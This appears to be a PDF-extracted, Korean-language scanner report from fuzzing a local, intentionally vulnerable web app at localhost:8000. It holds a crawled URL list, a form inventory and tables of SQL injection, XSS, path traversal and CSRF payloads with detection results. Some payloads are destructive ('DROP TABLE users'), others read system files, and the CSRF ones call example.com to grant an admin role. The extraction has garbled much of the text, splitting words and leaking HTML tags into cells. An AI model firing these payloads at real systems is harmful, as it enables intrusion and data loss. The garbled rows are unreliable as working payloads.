http://localhost:8000/vulnerabilities/xss_r http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/sqli_blind
http://localhost:8000/README.pt.md http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_zlib
http://localhost:8000/vulnerabilities/fi/?page=include.php http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/xss_r
http://localhost:8000/vulnerabilities/weak_id http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/README.pt.md
http://localhost:8000/#module_mbstring http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/fi/?page=include.php
http://localhost:8000/#download http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/weak_id
http://localhost:8000/vulnerabilities/xss_s http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#module_mbstring
http://localhost:8000/#module_apache2handler http://localhost:8000/#php-configuration	http://localhost:8000/#download
http://localhost:8000/#php-configuration	http://localhost:8000/vulnerabilities/xss_s
	http://localhost:8000/#module_apache2handler
http://localhost:8000/?page=file3.php	http://localhost:8000/#php-configuration
	http://localhost:8000/?page=file3.php

http://localhost:8000/README.id.md
http://localhost:8000/instructions.php?doc=readme
http://localhost:8000/README.es.md
http://localhost:8000/#module_pdo_mysql
http://localhost:8000/?page=file2.php
http://localhost:8000/compose.yml
http://localhost:8000/#module_session
http://localhost:8000
http://localhost:8000/vulnerabilities/captcha
http://localhost:8000/instructions.php
http://localhost:8000/#module_phar
http://localhost:8000/#module_hash
http://localhost:8000/#module_xmlwriter
http://localhost:8000/#module_dom
http://localhost:8000/#module_mysqlnd

### 2. 입력 폼 정보

URL	폼 액션	메소드	입력 필드
http://localhost:8000/v ulnerabilities/javascript	http://localhost:8000/v ulnerabilities/javascript	POST	token (hidden), phrase (text), send (submit)
http://localhost:8000/v ulnerabilities/sqli_blind	http://localhost:8000/v ulnerabilities/sqli_blind	GET	id (text), Submit (submit)
http://localhost:8000/v ulnerabilities/xss_r	http://localhost:8000/v ulnerabilities/xss_r	GET	name (text), None (submit)
http://localhost:8000/login.php	http://localhost:8000/login.php	POST	username (text), password (password), Login (submit), user_token (hidden)
http://localhost:8000/v ulnerabilities/brute	http://localhost:8000/v ulnerabilities/brute	GET	username (text), password (password), Login (submit)
http://localhost:8000/v ulnerabilities/csp	http://localhost:8000/v ulnerabilities/csp	POST	include (text), None (submit)
http://localhost:8000/s ecurity.php	http://localhost:8000/s ecurity.php	POST	seclev_submit (submit), user_token (hidden)
http://localhost:8000/v ulnerabilities/csrf	http://localhost:8000/v ulnerabilities/csrf	GET	password_new (password), password_conf (password), Change (submit)
http://localhost:8000/v ulnerabilities/captcha	http://localhost:8000/v ulnerabilities/captcha	POST	step (hidden), password_new (password), password_conf (password), Change (submit)
http://localhost:8000/v ulnerabilities/exec	http://localhost:8000/v ulnerabilities/exec	POST	ip (text), Submit (submit)
http://localhost:8000/s etup.php	http://localhost:8000/s etup.php	POST	create_db (submit), user_token (hidden)
http://localhost:8000/v ulnerabilities/cryptogra phy	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	POST	message (textarea), direction (radio), direction (radio), None (submit)
http://localhost:8000/v ulnerabilities/cryptogra phy	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	POST	password (password), None (submit)
http://localhost:8000/v ulnerabilities/upload	http://localhost:8000/v ulnerabilities/upload	POST	MAX_FILE_SIZE (hidden), uploaded (file), Upload (submit)
http://localhost:8000/v ulnerabilities/sqli	http://localhost:8000/v ulnerabilities/sqli	GET	id (text), Submit (submit)

## 3. 퍼징 탐지 결과

카테고리	폼 액션	페이로드	탐지 결과	HTTP 상태	응답 시간
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR '1'='1	No vulnerability detected	200	0.00s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR 1=1	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR 'a'='a	No vulnerability detected	200	0.10s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	'; DROP TABLE users;	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' /*	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR '1'='1' ({	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	admin'	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	1' OR sleep(5)	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.07s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/javascript	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/v ulnerabilities/javascript	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/javascript	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre><img src=x onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>⟨svg/onload=alert('XSS ')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.04s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>⟨body onload=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.07s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>⟨input autofocus onfocus=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/v ulnerabilities/javascript	<pre></pre>	No vulnerability detected	200	0.05s
XSS	http://localhost:8000/vulnerabilities/javascript	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/javascript	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.05s
XSS	http://localhost:8000/v ulnerabilities/javascript	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.06s
XSS	http://localhost:8000/v ulnerabilities/javascript	⟨script⟩alert(1)	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/vulnerabilities/javascript	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/vulnerabilities/javascript	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/vulnerabilities/javascript	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.05s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/javascript</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/javascript	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/javascript	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.10s
csrf	http://localhost:8000/v ulnerabilities/javascript	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/vulnerabilities/javascript	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.23s
csrf	http://localhost:8000/v ulnerabilities/javascript	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST')⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form)⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.03s

csrf	http://localhost:8000/v ulnerabilities/javascript	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR '1'='1	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR 1=1	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	'; DROP TABLE users;	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR '1'='1' /*	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' ({	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/vulnerabilities/sqli_blind	admin'	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR '1'='1' #	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/vulnerabilities/sqli_blind	1' OR sleep(5)	SQL Injection (Differential)	200	0.03s
sql_injecti on	http://localhost:8000/vulnerabilities/sqli_blind	' UNION SELECT NULL, NULL, NULL	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' AND 1=2 UNION SELECT 1,2,3	SQL Injection (Differential)	200	0.03s
sql_injecti on	http://localhost:8000/vulnerabilities/sqli_blind	' OR EXISTS(SELECT * FROM users)	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli_blind	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	SQL Injection (Differential)	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli_blind	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/sqli_blind	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/sqli_blind</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

	1	Т	I	T	
XSS	http://localhost:8000/v ulnerabilities/sqli_blind	〈body onload=alert('XSS')〉	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	<a href="javascript:aler&lt;br&gt;t(XSS)">Click⟨/a⟩</a>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/sqli_blind</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/sqli_blind</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td><pre><details ontoggle=alert('XSS') open></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/sqli_blind</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/sqli_blind</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/sqli_blind</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

csrf	http://localhost:8000/v ulnerabilities/sqli_blind	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/sqli_blind	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST')⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form)⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/v ulnerabilities/sqli_blind	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR 1=1	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	'; DROP TABLE users;	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR '1'='1' /*	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' ({	No vulnerability detected	200	0.09s
sql_injecti on	http://localhost:8000/vulnerabilities/xss_r	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	1' OR sleep(5)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/vulnerabilities/xss_r	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/xss_r	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.00s
XSS	http://localhost:8000/v ulnerabilities/xss_r	⟨script⟩alert('XSS')⟨/script⟩	XSS (HTML tag injection)	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/xss_r	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><img src=x onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>XSS (HTML tag injection)</td><td>200</td><td>0.03s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/v ulnerabilities/xss_r	⟨body onload=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/xss_r	<pre></pre>	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/vulnerabilities/xss_r	<pre>⟨input autofocus onfocus=alert('XSS')⟩</pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/xss_r	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/xss_r	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/xss_r	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/xss_r	<script>\$=1,alert(\$)</s cript></td><td>XSS (HTML tag injection)</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/xss_r</td><td>⟨script⟩alert(1)</td><td>XSS (HTML tag injection)</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/xss_r</td><td>⟨script⟩alert(1)⟨!XSS</td><td>XSS (HTML tag injection)</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>XSS (HTML tag injection)</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/xss_r</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>XSS (HTML tag injection)</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><details ontoggle=alert('XSS') open></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.11s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/xss_r</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr></tbody></table></script>			

csrf	http://localhost:8000/v ulnerabilities/xss_r	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/xss_r	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/xss_r	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/xss_r	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/xss_r	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'⟩⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /⟩ ⟨/form⟩⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/v ulnerabilities/xss_r	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/l ogin.php	' OR '1'='1	No vulnerability detected	200	0.11s
sql_injecti on	http://localhost:8000/l ogin.php	' OR 1=1	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/l ogin.php	' OR 'a'='a	No vulnerability detected	200	0.18s
sql_injecti on	http://localhost:8000/l ogin.php	'; DROP TABLE users;	No vulnerability detected	200	0.18s
sql_injecti on	http://localhost:8000/l ogin.php	' OR '1'='1' /*	No vulnerability detected	200	0.18s
sql_injecti on	http://localhost:8000/l ogin.php	' OR '1'='1' ({	No vulnerability detected	200	0.14s
sql_injecti on	http://localhost:8000/l ogin.php	admin'	No vulnerability detected	200	0.22s
